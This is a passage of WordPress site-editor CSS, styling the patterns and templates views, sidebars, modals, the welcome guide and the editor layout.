  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.edit-site-patterns__grid .edit-site-patterns__preview{
  flex:0 1 auto;
  margin-bottom:12px;
}

.edit-site-patterns__load-more{
  align-self:center;
}

.edit-site-patterns__pattern-title{
  color:#e0e0e0;
}
.edit-site-patterns__pattern-title .is-link{
  color:#e0e0e0;
  text-decoration:none;
}
.edit-site-patterns__pattern-title .is-link:focus,.edit-site-patterns__pattern-title .is-link:hover{
  color:#fff;
}
.edit-site-patterns__pattern-title .edit-site-patterns__pattern-icon{
  background:var(--wp-block-synced-color);
  border-radius:4px;
  fill:#fff;
}
.edit-site-patterns__pattern-title .edit-site-patterns__pattern-lock-icon{
  fill:currentcolor;
}

.edit-site-patterns__no-results{
  color:#949494;
}

.edit-site-patterns__delete-modal{
  width:384px;
}

.edit-site-patterns__pagination{
  background:#1e1e1e;
  border-top:1px solid #2f2f2f;
  bottom:0;
  color:#f0f0f0;
  padding:24px 32px;
  position:sticky;
  z-index:2;
}
.edit-site-patterns__pagination .components-button.is-tertiary{
  background-color:#2f2f2f;
  color:#f0f0f0;
}
.edit-site-patterns__pagination .components-button.is-tertiary:disabled{
  background:none;
  color:#949494;
}
.edit-site-patterns__pagination .components-button.is-tertiary:hover:not(:disabled){
  background-color:#757575;
}
.edit-site-page-patterns-dataviews{
  margin-top:60px;
}
@media (min-width:782px){
  .edit-site-page-patterns-dataviews{
    margin-top:0;
  }
}
.edit-site-page-patterns-dataviews .page-patterns-preview-field{
  border-radius:3px 3px 0 0;
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-site-page-patterns-dataviews .page-patterns-preview-field.is-viewtype-grid .block-editor-block-preview__container{
  border-radius:3px 3px 0 0;
  height:100%;
}
.edit-site-page-patterns-dataviews .page-patterns-preview-field .page-patterns-preview-field__button{
  background-color:unset;
  border:none;
  border-radius:3px 3px 0 0;
  box-shadow:none;
  box-sizing:border-box;
  cursor:pointer;
  height:100%;
  overflow:hidden;
  padding:0;
}
.edit-site-page-patterns-dataviews .page-patterns-preview-field .page-patterns-preview-field__button:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.edit-site-page-patterns-dataviews .edit-site-patterns__pattern-icon{
  fill:var(--wp-block-synced-color);
  flex-shrink:0;
}
.edit-site-page-patterns-dataviews .edit-site-patterns__pattern-lock-icon{
  min-width:min-content;
}
.edit-site-page-patterns-dataviews .edit-site-patterns__section-header{
  border-bottom:1px solid #f0f0f0;
  min-height:72px;
  padding:16px 32px;
  position:sticky;
  top:0;
  z-index:2;
}
.edit-site-page-patterns-dataviews .edit-site-patterns__pattern-title{
  color:inherit;
  display:block;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}
.edit-site-page-patterns-dataviews .dataviews-pagination{
  z-index:2;
}

.dataviews-action-modal__duplicate-pattern [role=dialog]>[role=document]{
  width:350px;
}
.dataviews-action-modal__duplicate-pattern .patterns-menu-items__convert-modal-categories{
  position:relative;
}
.dataviews-action-modal__duplicate-pattern .components-form-token-field__suggestions-list:not(:empty){
  background-color:#fff;
  border:1px solid var(--wp-admin-theme-color);
  border-bottom-left-radius:2px;
  border-bottom-right-radius:2px;
  box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);
  box-sizing:border-box;
  left:-1px;
  max-height:96px;
  min-width:auto;
  position:absolute;
  width:calc(100% + 2px);
  z-index:1;
}

@media (min-width:600px){
  .dataviews-action-modal__duplicate-template-part .components-modal__frame{
    max-width:500px;
  }
}

.page-templates-preview-field{
  border-radius:3px 3px 0 0;
  display:flex;
  flex-direction:column;
  height:100%;
}
.page-templates-preview-field .page-templates-preview-field__button{
  background-color:unset;
  border:none;
  border-radius:3px;
  box-shadow:none;
  box-sizing:border-box;
  cursor:pointer;
  height:100%;
  overflow:hidden;
  padding:0;
}
.page-templates-preview-field .page-templates-preview-field__button:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.page-templates-preview-field.is-viewtype-list .block-editor-block-preview__container{
  height:120px;
}
.page-templates-preview-field.is-viewtype-grid .block-editor-block-preview__container{
  height:auto;
}
.page-templates-preview-field.is-viewtype-grid .page-templates-preview-field__button{
  border-radius:3px 3px 0 0;
}
.page-templates-preview-field.is-viewtype-table{
  border-radius:2px;
  position:relative;
}
.page-templates-preview-field.is-viewtype-table:after{
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}

.page-templates-description{
  white-space:normal;
}

.edit-site-page-template-template-parts-dataviews .dataviews-pagination{
  z-index:2;
}

.edit-site-table-wrapper{
  padding:32px;
  width:100%;
}

.edit-site-table{
  border-collapse:collapse;
  border-color:inherit;
  position:relative;
  text-indent:0;
  width:100%;
}
.edit-site-table a{
  text-decoration:none;
}
.edit-site-table th{
  color:#757575;
  font-weight:400;
  padding:0 16px 16px;
  text-align:left;
}
.edit-site-table td{
  padding:16px;
}
.edit-site-table td,.edit-site-table th{
  vertical-align:center;
}
.edit-site-table td:first-child,.edit-site-table th:first-child{
  padding-left:0;
}
.edit-site-table td:last-child,.edit-site-table th:last-child{
  padding-right:0;
  text-align:right;
}
.edit-site-table tr{
  border-bottom:1px solid #f0f0f0;
}

.edit-site-sidebar-edit-mode{
  width:280px;
}
.edit-site-sidebar-edit-mode>.components-panel{
  border-left:0;
  border-right:0;
  margin-bottom:-1px;
  margin-top:-1px;
}
.edit-site-sidebar-edit-mode>.components-panel>.components-panel__header{
  background:#f0f0f0;
}
.edit-site-sidebar-edit-mode .block-editor-block-inspector__card{
  margin:0;
}

.edit-site-global-styles-sidebar{
  display:flex;
  flex-direction:column;
  min-height:100%;
}
.edit-site-global-styles-sidebar__navigator-provider,.edit-site-global-styles-sidebar__panel{
  display:flex;
  flex:1;
  flex-direction:column;
}
.edit-site-global-styles-sidebar__navigator-screen{
  flex:1;
}

.edit-site-global-styles-sidebar .interface-complementary-area-header .components-button.has-icon{
  margin-left:0;
}

.edit-site-global-styles-sidebar__reset-button.components-button{
  margin-left:auto;
}

.edit-site-global-styles-sidebar .components-navigation__menu-title-heading{
  font-size:15.6px;
  font-weight:500;
}

.edit-site-global-styles-sidebar .components-navigation__item>button span{
  font-weight:500;
}

.edit-site-global-styles-sidebar .block-editor-panel-color-gradient-settings,.edit-site-typography-panel{
  border:0;
}

.edit-site-global-styles-sidebar .single-column{
  grid-column:span 1;
}

.edit-site-global-styles-sidebar .components-tools-panel .span-columns{
  grid-column:1 /  -1;
}

.edit-site-global-styles-sidebar__blocks-group{
  border-top:1px solid #e0e0e0;
  padding-top:24px;
}

.edit-site-global-styles-sidebar__blocks-group-help{
  padding:0 16px;
}

.edit-site-global-styles-color-palette-panel,.edit-site-global-styles-gradient-palette-panel{
  padding:16px;
}

.edit-site-global-styles-sidebar hr{
  margin:0;
}

.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon:after{
  content:attr(aria-label);
  font-size:12px;
}

.edit-site-sidebar__panel{
  margin-top:-1px;
}

.edit-site-page-panels__swap-template__confirm-modal__actions{
  margin-top:24px;
}

.edit-site-change-status__content .components-popover__content{
  min-width:320px;
  padding:16px;
}
.edit-site-change-status__content .edit-site-change-status__options .components-base-control__field>.components-v-stack{
  gap:8px;
}
.edit-site-change-status__content .edit-site-change-status__options label .components-text{
  display:block;
}
.edit-site-change-status__content .edit-site-change-status__password-legend{
  margin-bottom:8px;
  padding:0;
}

.edit-site-summary-field__trigger{
  display:block;
  max-width:100%;
  overflow:hidden;
  text-align:left;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs{
  padding-left:0;
  padding-right:16px;
}
.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs .components-button.has-icon{
  height:24px;
  min-width:24px;
  padding:0;
}
@media (min-width:782px){
  .components-panel__header.edit-site-sidebar-edit-mode__panel-tabs .components-button.has-icon{
    display:flex;
  }
}

.edit-site-sidebar-card{
  align-items:flex-start;
  display:flex;
}
.edit-site-sidebar-card__content{
  flex-grow:1;
  margin-bottom:4px;
}
.edit-site-sidebar-card__title{
  font-weight:500;
  line-height:24px;
}
.edit-site-sidebar-card__title.edit-site-sidebar-card__title{
  font-size:13px;
  line-height:1.4;
  margin:0;
  padding:3px 0;
}
.edit-site-sidebar-card__description{
  font-size:13px;
}
.edit-site-sidebar-card__icon{
  flex:0 0 24px;
  height:24px;
  margin-right:12px;
  width:24px;
}
.edit-site-sidebar-card__header{
  display:flex;
  justify-content:space-between;
  margin:0 0 4px;
}

.edit-site-template-card__template-areas{
  margin-top:16px;
}
.edit-site-template-card__template-areas-list,.edit-site-template-card__template-areas-list>li{
  margin:0;
}
.edit-site-template-card__template-areas-item{
  width:100%;
}
.edit-site-template-card__template-areas-item.components-button.has-icon{
  padding:0;
}
.edit-site-template-card__actions{
  line-height:0;
}
.edit-site-template-card__actions>.components-button.is-small.has-icon{
  min-width:auto;
  padding:0;
}

h3.edit-site-template-card__template-areas-title{
  font-weight:500;
  margin:0 0 8px;
}

.edit-site-template-panel__replace-template-modal{
  z-index:1000001;
}

.edit-site-template-panel__replace-template-modal__content{
  column-count:2;
  column-gap:24px;
}
@media (min-width:782px){
  .edit-site-template-panel__replace-template-modal__content{
    column-count:3;
  }
}
@media (min-width:1280px){
  .edit-site-template-panel__replace-template-modal__content{
    column-count:4;
  }
}

.edit-site-editor__interface-skeleton{
  opacity:1;
  transition:opacity .1s ease-out;
}
@media (prefers-reduced-motion:reduce){
  .edit-site-editor__interface-skeleton{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.edit-site-editor__interface-skeleton.is-loading{
  opacity:0;
}
.edit-site-editor__interface-skeleton .interface-interface-skeleton__header{
  border:0;
}

.edit-site-editor__toggle-save-panel{
  background-color:#fff;
  border:1px dotted #ddd;
  box-sizing:border-box;
  display:flex;
  justify-content:center;
  padding:24px;
  width:280px;
}

.edit-site .components-editor-notices__snackbar{
  bottom:40px;
  left:0;
  padding-left:16px;
  padding-right:16px;
  position:absolute;
  right:0;
}
@media (min-width:783px){
  .edit-site .components-editor-notices__snackbar{
    left:160px;
  }
}
@media (min-width:783px){
  .auto-fold .edit-site .components-editor-notices__snackbar{
    left:36px;
  }
}
@media (min-width:961px){
  .auto-fold .edit-site .components-editor-notices__snackbar{
    left:160px;
  }
}
.folded .edit-site .components-editor-notices__snackbar{
  left:0;
}
@media (min-width:783px){
  .folded .edit-site .components-editor-notices__snackbar{
    left:36px;
  }
}

body.is-fullscreen-mode .edit-site .components-editor-notices__snackbar{
  left:0 !important;
}

.edit-site-create-template-part-modal{
  z-index:1000001;
}
@media (min-width:600px){
  .edit-site-create-template-part-modal .components-modal__frame{
    max-width:500px;
  }
}

.edit-site-create-template-part-modal__area-radio-group{
  border:1px solid #757575;
  border-radius:2px;
  width:100%;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio{
  display:block;
  height:100%;
  padding:12px;
  text-align:left;
  width:100%;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover{
  background-color:inherit;
  border-bottom:1px solid #757575;
  border-radius:0;
  margin:0;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:not(:focus),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:not(:focus),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:focus){
  box-shadow:none;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:focus,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:focus,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:focus{
  border-bottom:1px solid #fff;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:last-of-type,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:last-of-type,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:last-of-type{
  border-bottom:none;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:hover),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio[aria-checked=true]{
  color:#1e1e1e;
  cursor:auto;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:hover) .edit-site-create-template-part-modal__option-label div,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio[aria-checked=true] .edit-site-create-template-part-modal__option-label div{
  color:#949494;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__option-label{
  padding-top:4px;
  white-space:normal;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__option-label div{
  font-size:12px;
  padding-top:4px;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__checkbox{
  margin-left:auto;
  min-width:24px;
}

.edit-site-welcome-guide{
  width:312px;
}
.edit-site-welcome-guide.guide-editor .edit-site-welcome-guide__image .edit-site-welcome-guide.guide-styles .edit-site-welcome-guide__image{
  background:#00a0d2;
}
.edit-site-welcome-guide.guide-page .edit-site-welcome-guide__video{
  border-right:16px solid #3858e9;
  border-top:16px solid #3858e9;
}
.edit-site-welcome-guide.guide-template .edit-site-welcome-guide__video{
  border-left:16px solid #3858e9;
  border-top:16px solid #3858e9;
}
.edit-site-welcome-guide__image{
  margin:0 0 16px;
}
.edit-site-welcome-guide__image>img{
  display:block;
  max-width:100%;
  object-fit:cover;
}
.edit-site-welcome-guide__heading{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:24px;
  line-height:1.4;
  margin:16px 0;
  padding:0 32px;
}
.edit-site-welcome-guide__text{
  font-size:13px;
  line-height:1.4;
  margin:0 0 16px;
  padding:0 32px;
}
.edit-site-welcome-guide__text img{
  vertical-align:bottom;
}
.edit-site-welcome-guide__inserter-icon{
  margin:0 4px;
  vertical-align:text-top;
}

.edit-site-start-template-options__modal .edit-site-start-template-options__modal__actions{
  background-color:#fff;
  border-top:1px solid #ddd;
  bottom:0;
  height:92px;
  margin-left:-32px;
  margin-right:-32px;
  padding-left:32px;
  padding-right:32px;
  position:absolute;
  width:100%;
  z-index:1;
}
.edit-site-start-template-options__modal .block-editor-block-patterns-list{
  padding-bottom:92px;
}

.edit-site-start-template-options__modal-content .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:782px){
  .edit-site-start-template-options__modal-content .block-editor-block-patterns-list{
    column-count:3;
  }
}
@media (min-width:1280px){
  .edit-site-start-template-options__modal-content .block-editor-block-patterns-list{
    column-count:4;
  }
}
.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}
.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-patterns-list__item-title{
  display:none;
}
.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__item:not(:focus):not(:hover) .block-editor-block-preview__container{
  box-shadow:0 0 0 1px #ddd;
}

.edit-site-keyboard-shortcut-help-modal__section{
  margin:0 0 2rem;
}
.edit-site-keyboard-shortcut-help-modal__section-title{
  font-size:.9rem;
  font-weight:600;
}
.edit-site-keyboard-shortcut-help-modal__shortcut{
  align-items:baseline;
  border-top:1px solid #ddd;
  display:flex;
  margin-bottom:0;
  padding:.6rem 0;
}
.edit-site-keyboard-shortcut-help-modal__shortcut:last-child{
  border-bottom:1px solid #ddd;
}
.edit-site-keyboard-shortcut-help-modal__shortcut:empty{
  display:none;
}
.edit-site-keyboard-shortcut-help-modal__shortcut-term{
  font-weight:600;
  margin:0 0 0 1rem;
  text-align:right;
}
.edit-site-keyboard-shortcut-help-modal__shortcut-description{
  flex:1;
  flex-basis:auto;
  margin:0;
}
.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination{
  background:none;
  display:block;
  margin:0;
  padding:0;
}
.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination{
  margin-top:10px;
}
.edit-site-keyboard-shortcut-help-modal__shortcut-key{
  border-radius:8%;
  margin:0 .2rem;
  padding:.25rem .5rem;
}
.edit-site-keyboard-shortcut-help-modal__shortcut-key:last-child{
  margin:0 0 0 .2rem;
}

.edit-site-layout{
  background:#1e1e1e;
  color:#ccc;
  display:flex;
  flex-direction:column;
  height:100%;
}

.edit-site-layout__hub{
  height:60px;
  left:0;
  position:fixed;
  top:0;
  width:calc(100vw - 32px);
  z-index:3;
}
@media (min-width:782px){
  .edit-site-layout__hub{
    width:336px;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__hub{
  border-radius:0;
  box-shadow:none;
  padding-right:0;
  width:60px;
}

.edit-site-layout__header-container{
  z-index:4;
}

.edit-site-layout__header{
  display:flex;
  height:60px;
  z-index:2;
}
.edit-site-layout:not(.is-full-canvas) .edit-site-layout__header{
  position:fixed;
  width:100vw;
}

.edit-site-layout__content{
  display:flex;
  flex-grow:1;
  height:100%;
}

.edit-site-layout__sidebar-region{
  flex-shrink:0;
  width:100vw;
  z-index:1;
}
@media (min-width:782px){
  .edit-site-layout__sidebar-region{
    width:360px;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{
  height:100vh;
  left:0;
  position:fixed !important;
  top:0;
}
.edit-site-layout__sidebar-region .edit-site-layout__sidebar{
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-site-layout__sidebar-region .resizable-editor__drag-handle{
  right:0;
}

.edit-site-layout__main{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:hidden;
}

.edit-site-layout__mobile{
  position:relative;
  width:100%;
  z-index:2;
}

.edit-site-layout__canvas-container{
  flex-grow:1;
  position:relative;
  z-index:2;
}
.edit-site-layout__canvas-container.is-resizing:after{
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:100;
}

.edit-site-layout__canvas{
  align-items:center;
  bottom:0;
  display:flex;
  justify-content:center;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}
.edit-site-layout__canvas.is-right-aligned{
  justify-content:flex-end;
}
.edit-site-layout__canvas>div{
  color:#1e1e1e;
}
@media (min-width:782px){
  .edit-site-layout__canvas{
    bottom:16px;
    top:16px;
    width:calc(100% - 16px);
  }
  .edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas>div .edit-site-visual-editor__editor-canvas,.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas>div .interface-interface-skeleton__content,.edit-site-layout__canvas>div{
    border-radius:8px;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__canvas{
  bottom:0;
  top:0;
  width:100%;
}
.edit-site-layout.is-full-canvas .edit-site-layout__canvas>div{
  border-radius:0;
}

.edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{
  min-height:100% !important;
  position:relative !important;
}

.edit-site-template-pages-preview{
  height:100%;
}

.edit-site-layout__view-mode-toggle.components-button{
  align-items:center;
  border-bottom:1px solid #0000;
  border-radius:0;
  color:#fff;
  display:flex;
  height:60px;
  justify-content:center;
  overflow:hidden;
  padding:0;
  position:relative;
  width:60px;
}
.edit-site-layout.is-full-canvas .edit-site-layout__view-mode-toggle.components-button{
  border-bottom-color:#e0e0e0;
  transition:border-bottom-color .15s ease-out .4s;
}
.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{
  color:#fff;
}
.edit-site-layout__view-mode-toggle.components-button:focus{
  box-shadow:none;
}
.edit-site-layout__view-mode-toggle.components-button:before{
  border-radius:4px;
  bottom:9px;
  box-shadow:none;
  content:"";
  display:block;
  left:9px;
  position:absolute;
  right:9px;
  top:9px;
  transition:box-shadow .1s ease;
}
@media (prefers-reduced-motion:reduce){
  .edit-site-layout__view-mode-toggle.components-button:before{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.edit-site-layout__view-mode-toggle.components-button:focus:before{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #ffffff1a, inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{
  align-items:center;
  border-radius:2px;
  display:flex;
  height:64px;
  justify-content:center;
  width:64px;
}

.edit-site-layout__actions{
  background:#fff;
  bottom:auto;
  color:#1e1e1e;
  left:auto;
  position:fixed !important;
  right:0;
  top:-9999em;
  width:280px;
  z-index:100000;
}
.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{
  bottom:0;
  top:auto;
}
.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{
  top:0;
}
@media (min-width:782px){
  .edit-site-layout__actions{
    border-left:1px solid #ddd;
  }
}

.edit-site-layout.is-distraction-free .edit-site-layout__header-container{
  height:60px;
  left:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
  z-index:4;
}
.edit-site-layout.is-distraction-free .edit-site-layout__header-container:focus-within{
  opacity:1 !important;
}
.edit-site-layout.is-distraction-free .edit-site-layout__header-container:focus-within div{
  transform:translateX(0) translateY(0) translateZ(0) !important;
}
.edit-site-layout.is-distraction-free .edit-site-layout__header-container:focus-within .edit-site-layout__header{
  opacity:1 !important;
}
.edit-site-layout.is-distraction-free .edit-site-layout__header,.edit-site-layout.is-distraction-free .edit-site-site-hub{
  position:absolute;
  top:0;
  z-index:2;
}
.edit-site-layout.is-distraction-free .edit-site-site-hub{
  z-index:3;
}
.edit-site-layout.is-distraction-free .edit-site-layout__header{
  width:100%;
}

.edit-site-layout__area{
  flex-grow:1;
  margin:0;
  overflow:hidden;
}
@media (min-width:782px){
  .edit-site-layout__area{
    border-radius:8px;
    margin:16px 16px 16px 0;
  }
}

.edit-site-save-hub{
  border-top:1px solid #2f2f2f;
  color:#949494;
  flex-shrink:0;
  margin:0;
  padding:20px 16px;
}

.edit-site-save-hub__button{
  color:inherit;
  justify-content:center;
  width:100%;
}
.edit-site-save-hub__button[aria-disabled=true]{
  opacity:1;
}
.edit-site-save-hub__button[aria-disabled=true]:hover{
  color:inherit;
}
.edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{
  color:#1e1e1e;
}

@media (min-width:600px){
  .edit-site-save-panel__modal{
    width:600px;
  }
}

.edit-site-sidebar__content{
  flex-grow:1;
  overflow-y:auto;
}

.edit-site-sidebar__screen-wrapper{
  display:flex;
  flex-direction:column;
  height:100%;
  padding:0 12px;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-gutter:stable;
  scrollbar-width:thin;
  will-change:transform;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{
  background-color:initial;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{
  background-color:#757575;
}
.edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{
  scrollbar-color:#757575 #0000;
}
@media (hover:none){
  .edit-site-sidebar__screen-wrapper{
    scrollbar-color:#757575 #0000;
  }
}

.edit-site-sidebar__footer{
  border-top:1px solid #2f2f2f;
  flex-shrink:0;
  margin:0 16px;
  padding:16px 0;
}

.edit-site-sidebar-button{
  color:#e0e0e0;
  flex-shrink:0;
}
.edit-site-sidebar-button:focus:not(:disabled){
  box-shadow:none;
  outline:none;
}
.edit-site-sidebar-button:focus-visible:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba));
  outline:3px solid #0000;
}
.edit-site-sidebar-button:focus,.edit-site-sidebar-button:focus-visible,.edit-site-sidebar-button:hover,.edit-site-sidebar-button:not([aria-disabled=true]):active,.edit-site-sidebar-button[aria-expanded=true]{
  color:#f0f0f0;
}

.edit-site-sidebar-navigation-item.components-item{
  border:none;
  border-radius:2px;
  color:#949494;
  min-height:40px;
  padding:8px 6px 8px 16px;
}
.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-item.components-item[aria-current]{
  background:#2f2f2f;
  color:#e0e0e0;
}
.edit-site-sidebar-navigation-item.components-item:focus .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item:hover .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item[aria-current] .edit-site-sidebar-navigation-item__drilldown-indicator{
  fill:#e0e0e0;
}
.edit-site-sidebar-navigation-item.components-item[aria-current]{
  background:var(--wp-admin-theme-color);
  color:#fff;
}
.edit-site-sidebar-navigation-item.components-item .edit-site-sidebar-navigation-item__drilldown-indicator{
  fill:#949494;
}
.edit-site-sidebar-navigation-item.components-item.with-suffix{
  padding-right:16px;
}

.edit-site-sidebar-navigation-screen__content .block-editor-list-view-block-select-button{
  cursor:grab;
  padding:8px 8px 8px 0;
}

.edit-site-sidebar-navigation-screen{
  display:flex;
  flex-direction:column;
  overflow-x:unset !important;
  position:relative;
}

.edit-site-sidebar-navigation-screen__main{
  flex-grow:1;
  margin-bottom:16px;
}
.edit-site-sidebar-navigation-screen__main.has-footer{
  margin-bottom:0;
}

.edit-site-sidebar-navigation-screen__content{
  padding:0 16px;
}
.edit-site-sidebar-navigation-screen__content .components-item-group{
  margin-left:-16px;
  margin-right:-16px;
}
.edit-site-sidebar-navigation-screen__content .components-text{
  color:#ccc;
}
.edit-site-sidebar-navigation-screen__content .components-heading{
  margin-bottom:8px;
}

.edit-site-sidebar-navigation-screen__meta{
  color:#ccc;
  margin:0 0 16px 16px;
}
.edit-site-sidebar-navigation-screen__meta .components-text{
  color:#ccc;
}

.edit-site-sidebar-navigation-screen__page-link{
  color:#949494;
  display:inline-block;
  word-break:break-word;
}
.edit-site-sidebar-navigation-screen__page-link:focus,.edit-site-sidebar-navigation-screen__page-link:hover{
  color:#fff;
}
.edit-site-sidebar-navigation-screen__page-link .components-external-link__icon{
  margin-left:4px;
}

.edit-site-sidebar-navigation-screen__title-icon{
  background:#1e1e1e;
  margin-bottom:8px;
  padding-bottom:8px;
  padding-top:108px;
  position:sticky;
  top:0;
  z-index:1;
}

.edit-site-sidebar-navigation-screen__title{
  flex-grow:1;
  overflow-wrap:break-word;
  padding:6px 0 0;
}

.edit-site-sidebar-navigation-screen__actions{
  display:flex;
  flex-shrink:0;
}

@media (min-width:782px){
  .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container{
    max-width:292px;
  }
}
.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item-preview{
  box-shadow:0 0 0 1px #1e1e1e;
}
.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{
  box-shadow:0 0 0 1px #f0f0f0;
}
.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item:hover .edit-site-global-styles-variations_item-preview{
  box-shadow:0 0 0 1px var(--wp-admin-theme-color);
}
.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item:focus .edit-site-global-styles-variations_item-preview{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}

.edit-site-sidebar-navigation-screen__footer{
  background-color:#1e1e1e;
  border-top:1px solid #2f2f2f;
  bottom:0;
  gap:0;
  margin:16px 0 0;
  padding:16px 0;
  position:sticky;
}

.edit-site-sidebar__notice{
  background:#2f2f2f;
  color:#ddd;
  margin:24px 0;
}
.edit-site-sidebar__notice.is-dismissible{
  padding-right:8px;
}
.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]){
  color:#ccc;
}
